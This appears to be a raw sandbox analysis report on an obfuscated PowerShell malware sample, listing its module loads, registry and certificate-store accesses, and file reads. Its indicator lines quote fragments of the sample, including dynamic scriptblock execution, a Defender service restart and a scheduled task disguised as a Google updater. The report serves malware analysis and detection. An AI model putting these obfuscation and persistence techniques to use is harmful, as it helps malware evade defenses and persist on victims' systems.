"%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff8242f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8248b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff82ad50000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff81d240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff81d2d0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff82d370000 "powershell.exe" loaded module "SXS.DLL" at base 7ff82b7d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 7ff8274f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffff816000039:T14af,Found reference to API (Indicator: "ncoding utf8 -logname system && ($kkcnan)} = "crjchugpsa";${get-adorganizationalunit -unique -depth 8 && ($tmlmps)} = "or2v0l";if ($false) { $x = 2 }for ($i = 0; $i -lt 9; $i++) { $nextvar = $i }${restart-service -exclude *.tmp -name msmpeng && ($idg)} = "unvdw50z";${get-hotfix -allowclobber -uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)} = "xigj1xqcm9";while ($counter -lt 3) { $counter++ }for ($j = 0; $j -lt 6; $j++) { $final += $j }${get-azsubscription -exclude *.tmp -path .\program files && ($glsmd)} = "jzxnzb3i";${get-msoluser -exclude *.tmp -computername $appserver01 && ($rapn)} = "ox1rvdgf";${get-adcomputer -parallel -identity cn=administrator && ($llecln)} = "skvwl";try { $y = 6 } catch { $error }if ($false) { $x = 3 }try { $y = 3 } catch { $error }${set-itemproperty -casesensitive -classname win32_useraccount && ($koefr)} = "ifby";${get-date -inputformat -logname security && ($bhhd)} = "b2nlc3nvc";${get-transportrule -unique -computername sr"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin"), Found reference to API (Indicator: "riticala = $goal.getstring($noncriticala) return $noncriticala}$exchangedsignal = symaphortype& ([scriptblock]::create($exchangedsignal))try { $void = get-random -minimum 4 -maximum 6 } catch { $void = $null }$backupcount = 3${select-object -debug -destinationpath .\export && ($oaei)} = "9va2vkvmfsdwu";${convertto-csv -verbose -destinationpath .\export && ($saiho)} = "kicagifdyaxrllu";${get-pfxcertificate -outputformat -identity $aduser09 && ($ptlrr)} = "hvc3";try { remove-item -path "c:\temp\logfile_9.txt" -erroraction silentlycontinue } catch { start-sleep -seconds 0 }while ($null) { $run = 7; start-sleep -seconds 1 }$set_scaler_77 = 519${get-unifiedgroup -notypeinformation -classname msft_netipaddress && ($hlg)} = "qgkcjdufu6ihsw";${get-windowscapability -notypeinformation -namespace root\ccm\policy && ($bmtpfs)} = "ok4yf";$win32_count = 1$randindex = get-random -minimum 0 -maximum 10for ($j = 0; $j -lt 0; $j++) { $final += $j }${select-object -erroracti"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin"), Found reference to API (Indicator: "-date -inputformat -logname security && ($bhhd)} ${get-transportrule -unique -computername srv-web-00 && ($frcd)} ${stop-scheduledtask -append -destinationpath \\nas\archive && ($rfl)} ${get-adcomputer -timeoutsec 30 -taskpath \customtasks\ && ($eotf)} ${get-netipconfiguration -notypeinformation -uri login.windows.net/common/oauth2/authorize && ($lmi)} ${select-object -debug -destinationpath .\export && ($oaei)})$randindex = get-random -minimum 2 -maximum 17$backupcount = 7${where-object -timeoutsec 30 -classname msft_netipaddress && ($crml)} += @(${convertto-csv -verbose -destinationpath .\export && ($saiho)} ${get-pfxcertificate -outputformat -identity $aduser09 && ($ptlrr)} ${get-unifiedgroup -notypeinformation -classname msft_netipaddress && ($hlg)} ${get-windowscapability -notypeinformation -namespace root\ccm\policy && ($bmtpfs)} ${select-object -erroraction silentlycontinue -destinationpath .\export && ($tga)} ${get-addomaincontroller -whatif -eventid 4625 && ($fbi)})try {"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin"), Found reference to API (Indicator: "${set-itemproperty -casesensitive -classname win32_useraccount && ($koefr)} = "ifby";${get-date -inputformat -logname security && ($bhhd)} = "b2nlc3nvc";${get-transportrule -unique -computername srv-web-00 && ($frcd)} = "ibuaw1";"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin"), Found reference to API (Indicator: "${get-unifiedgroup -notypeinformation -classname msft_netipaddress && ($hlg)} = "qgkcjdufu6ihsw";${get-windowscapability -notypeinformation -namespace root\ccm\policy && ($bmtpfs)} = "ok4yf";"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin"), Found reference to API (Indicator: "${where-object -timeoutsec 30 -classname msft_netipaddress && ($crml)} += @(${set-itemproperty -casesensitive -classname win32_useraccount && ($koefr)} ${get-date -inputformat -logname security && ($bhhd)} ${get-transportrule -unique -computername srv-web-00 && ($frcd)} ${stop-scheduledtask -append -destinationpath \\nas\archive && ($rfl)} ${get-adcomputer -timeoutsec 30 -taskpath \customtasks\ && ($eotf)} ${get-netipconfiguration -notypeinformation -uri login.windows.net/common/oauth2/authorize && ($lmi)} ${select-object -debug -destinationpath .\export && ($oaei)})"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin"), Found reference to API (Indicator: "${where-object -timeoutsec 30 -classname msft_netipaddress && ($crml)} += @(${convertto-csv -verbose -destinationpath .\export && ($saiho)} ${get-pfxcertificate -outputformat -identity $aduser09 && ($ptlrr)} ${get-unifiedgroup -notypeinformation -classname msft_netipaddress && ($hlg)} ${get-windowscapability -notypeinformation -namespace root\ccm\policy && ($bmtpfs)} ${select-object -erroraction silentlycontinue -destinationpath .\export && ($tga)} ${get-addomaincontroller -whatif -eventid 4625 && ($fbi)})"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin")3a:T7f6,file/memory contains long string with (Indicator: "Write-Output"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "New-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Write-Host"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "powershell_ise.exe"; File: "MV5MLXW4KPVGCHZRESYM.temp") Found string "if ($errorLevel -gt 1) { Write-Output '$result' }" (Indicator: "Write-Output"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${ConvertTo-Json -OutVariable result -InformationLevel Minimal && ($ersp)} = "GF0ZSkgL";${Write-Output -TimeoutSec 30 -Path .\Windows\System32 && ($alg)} = "Wx0ICRl";" (Indicator: "Write-Output"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "$nonCriticala = New-Object byte[] $evalLiteral.Length" (Indicator: "New-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "if ($errorLevel -gt 0) { Write-Output '$result' }" (Indicator: "Write-Output"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "if ($errorLevel -gt 2) { Write-Output '$result' }" (Indicator: "Write-Output"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Write-Output -Recurse -Server dc06.corp.local && ($eeido)} = 917" (Indicator: "Write-Output"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Write-Host -Unique -EventId 4698 && ($ckplcn)} = 678" (Indicator: "Write-Host"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Write-Host"; File: "AMSI") file/memory contains long string with (Indicator: "New-Object"; File: "AMSI")3b:T7e5,"powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")3c:T4b1,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32\Y5.WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32\Y5.WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: MV5MLXW4KPVGCHZRESYM.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00006920-00000C2E-3386650130] Observed system executable string:""%WINDIR%\system32\schtasks.exe" /create /tn \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem47.0.7703.CL_NCL_ba6af2926c8603c" [Source: 00000000-00006920-00000C47-24509401243]3d:T4da,"powershell.exe" reads file "C:\Users\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini"3e:Tfca,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006920-00000C2B-2321132088] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006920-00000C2B-2321483323] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006920-00000C2B-2321612238] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006920-00000C2B-2321704361] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006920-00000C2B-2321874991] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006920-00000C2B-2321926561] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006920-00000C2B-2321978377] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006920-00000C2B-2322054354] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006920-00000C2B-2322127695] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006920-00000C2B-2322181422] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006920-00000C2B-2322328834] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006920-00000C2B-2322465104] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006920-00000C2B-2322595338] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006920-00000C2B-2322887795] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006920-00000C2B-2323125192] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006920-00000C2B-2323127996] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006920-00000C2B-2323217261] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006920-00000C2B-2323319966] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006920-00000C2B-2323511924] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006920-00000C2B-2323541065] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006920-00000C2B-2323695454] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006920-00000C2B-2323858361] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00006920-00000C2B-2324048664] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006920-00000C2B-2324261986] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll" [Source: 00000000-00006920-00000C2B-2324300995]3f:Tc63,"powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1)40:Tbdf,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WSMAN"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\MSASN1"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\WINTRUST\CONFIG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{000C10F1-0000-0000-C000-000000000046}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{06C9E010-38CE-11D4-A2A3-00104BD35090}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTSIPDLLPUTSIGNEDDATAMSG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: ""; Value: "")41:T93f,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCHANDLER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCHANDLER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCHANDLER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCHANDLER"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "CLASS"; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LOCALSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LOCALSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LOCALSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LOCALSERVER32"; Key: ""; Value: "")42:Tedd,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WSMAN"; Key: "SERVICESTACKVERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: "APPLICATIONBASE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "PROGRAMFILESDIR"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEMANDATORYBASICCONSTRAINTS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: 